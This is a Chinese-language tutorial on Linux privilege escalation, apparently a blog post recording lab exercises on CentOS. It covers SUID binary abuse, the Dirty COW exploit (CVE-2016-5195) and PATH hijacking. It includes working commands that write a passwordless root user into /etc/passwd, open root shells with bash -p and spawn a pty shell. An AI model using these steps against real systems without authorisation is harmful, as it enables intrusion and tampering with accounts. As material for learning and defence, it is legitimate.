这篇文章上次修改于 510 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 suid 提权

1.1 简介

suid 全称是 Set owner User ID up on execution,这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他 super user,同时拥有 suid 权限,才可以提权。

常见的可用来提权的 Linux 可执行文件有:find、vim、bash、cp

1.2 利用条件

  • 掌握一个普通用户
  • 可执行文件的所有者是0号或其他 super user,同时拥有 suid 权限

1.3 实验环境

  • CentOS 7.9 x64

1.4 利用方法

1.4.1 find

查找所有 suid 可执行文件,find 是可利用的

find / -perm -u=s -type f 2>/dev/null

尝试执行命令查看权限,可以看到,确实是 root 权限,那么,就可以利用它来提权了

# 创建一个文件,find 查找的目标必须是存在的,不然会报错‘没有那个文件或目录’,而不会输出我们想要的结果
touch test
# 执行命令
find test -exec whoami \;

可以通过修改/etc/passwd文件来添加一个 root 权限用户

find test -exec vim /etc/passwd \;

在最后一行添加root2::0:0::/root:/bin/bash,写入一个用户组为 root、密码为空的用户 root2,虽然警告正在修改一个只读文件,保存的时候用wq!就能完成修改了

登录 root2 用户,查看权限,成功提权

1.4.2 vim

vim 可以直接修改/etc/passwd文件,向里面写入一个 root 权限用户来完成提权

1.4.3bash

通过bash -p命令以 root 权限打开一个 bash shell,确实是 root 权限

1.4.4 cp

新建一个passwd文件,然后用 cp 命令覆盖/etc/passwd文件来提权

1.4.5 more&less

经过测试,这两个没有成功提权

# 一定要读取一个比较大的文件才能进入翻页功能,才能利用!命令进入shell
more /etc/profile
# 进入shell
!/bin/sh

1.5 踩坑记录

1.5.1

在使用find来提权时,查找的目标文件必须是存在的,不然会报错没有那个文件或目录,而不会输出我们想要的结果

1.6 参考

一文吃透Linux提权

Linux SUID 提权

0x02 脏牛提权

2.1 简介

漏洞编号为 CVE-2016-5195,也叫脏牛(Dirty COW),Linux 内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition),导致出现写数据到进程地址空间内只读内存区域的机会。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。

2.2 利用条件

  • 掌握一个可远程登录的账户
  • Linux 内核 >= 2.6.22,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响

2.3 实验环境

  • CentOS 6.5 x64
  • Linux version 2.6.32-431.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Fri Nov 22 03:15:09 UTC 2013

2.4 利用方法

使用uname -a命令查看系统版本,可以看到,系统版本为2.6.32,且发行日期为2013.11.22,所以受影响

使用 ftp 将提权文件上传到服务器中

编译生成可执行文件

gcc -pthread dirty.c -o dirty -lcrypt

运行

# Abcd1234是登下登录用的密码
./dirty Abcd1234

提权成功

登录提权好的用户,查看权限

2.5 痕迹

2.5.1 文件

这个 exp 的原理就是获取了写入权限后,先对/etc/passwd进行备份,然后对/etc/passwd进行重写,对比一下修改前后可以看出,它把 root 用户改成了用户名为 firefart,密码为我们设置的密码的新用户。当我们完成权限维持以后,需要将/tmp/passwd.bak恢复,不然 root 用户是无法使用的。

修改前

修改后

2.6 踩坑记录

2.6.1

不同版本的 Linux 内核编译出来 dirty 文件是不一样的,不能够混用,如果目标服务器上没有安装 gcc,那么,可以搭建一个与目标服务器一样的环境,再把编译好的 dirty 可执行文件传上去进行提权。

2.6.2

如果是在 msf 中进行提权,那么,需要先创建一个交互式 shell,运行可执行文件后才会返回提权好的 shell,可以使用 python 来建立一个伪终端

python -c 'import pty; pty.spawn("/bin/bash")'

2.7 参考

脏牛Linux本地提权漏洞复现(CVE-2016-5195)(示例代码)

利用dirty cow(脏牛)漏洞的提权尝试

【漏洞公告】CVE-2016-5195:“脏牛(Dirty Cow)”漏洞-Linux 内核本地提权漏洞 通告及修复

dirtycow

0x03 环境变量

3.1 简介

环境变量相当于给系统或用户应用程序设置的一些参数,具体起什么作用和具体的环境变量相关。比如 PATH,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到哪些目录下去寻找

PATH 便是 Linux 中的一个环境变量,用于指定存储可执行程序的所有 bin 和 sbin 目录,当用户在终端上执行任何命令时,它会通过 PATH 变量来响应用户执行的命令,并向 shell 发送请求以搜索可执行文件

3.2 利用条件

  • 需要一个有 SUID 属性的文件
  • 需要了解到文件的源码,且其中要有可被利用的特殊函数,比如 system

3.3 实验环境

  • CentOS 7.9 x64

root 用户在/tmp目录下编译了这样一个 path.c 程序,得到了 path 可执行文件,并且执行了chmod u+s path命令为其添加了 SUID 属性

# path.c源码
#include<stdlib.h>
#include <unistd.h>
void main()
{
    setuid(0);
    system("ps");
}

3.4 利用方法

此时以普通用户登录系统,使用以下命令查看具有 SUID 属性的文件

find / -perm -u=s -type f 2>/dev/null

查看/tmp目录,发现源码

通过查看源码,发现可以利用,利用命令为 ps

如果找不到源文件,可以用 strings 命令来查找可打印字符串,从结果中可以找到 setuid、system、ps 这三个关键字符。

-2 设置显示的最少的字符数,默认是4个字符
strings -2 path

修改环境变量

# 伪造一个 ps 文件
echo "/bin/sh" > ps
# 赋予所有用户所有权限
chmod 777 ps
# 将/temp添加到环境变量
export PATH=/tmp:$PATH   

再运行 path 可执行文件,便得到了root权限

其实挺鸡肋的

3.5 其他情况

3.5.1

通过修改源码发现,setuid(0)system都是必不可少的,setuid() 是用来重新设置执行目前进程的用户识别码的,这让我们运行 /bin/sh 时,uid 为0;而 system 函数是继承环境变量的(即相当于在终端中执行命令),system 函数执行的是 ps 还是 abc 都不是问题,我们只需要创建一个它去环境变量指定的目录中寻找的对应的可执行文件即可。

#include<stdlib.h>
#include <unistd.h>
void main()
{
    setuid(0);
    system("ps");
}

3.6 参考

Linux 提权学习小结

Linux Privilege Escalation Using PATH Variable & SUID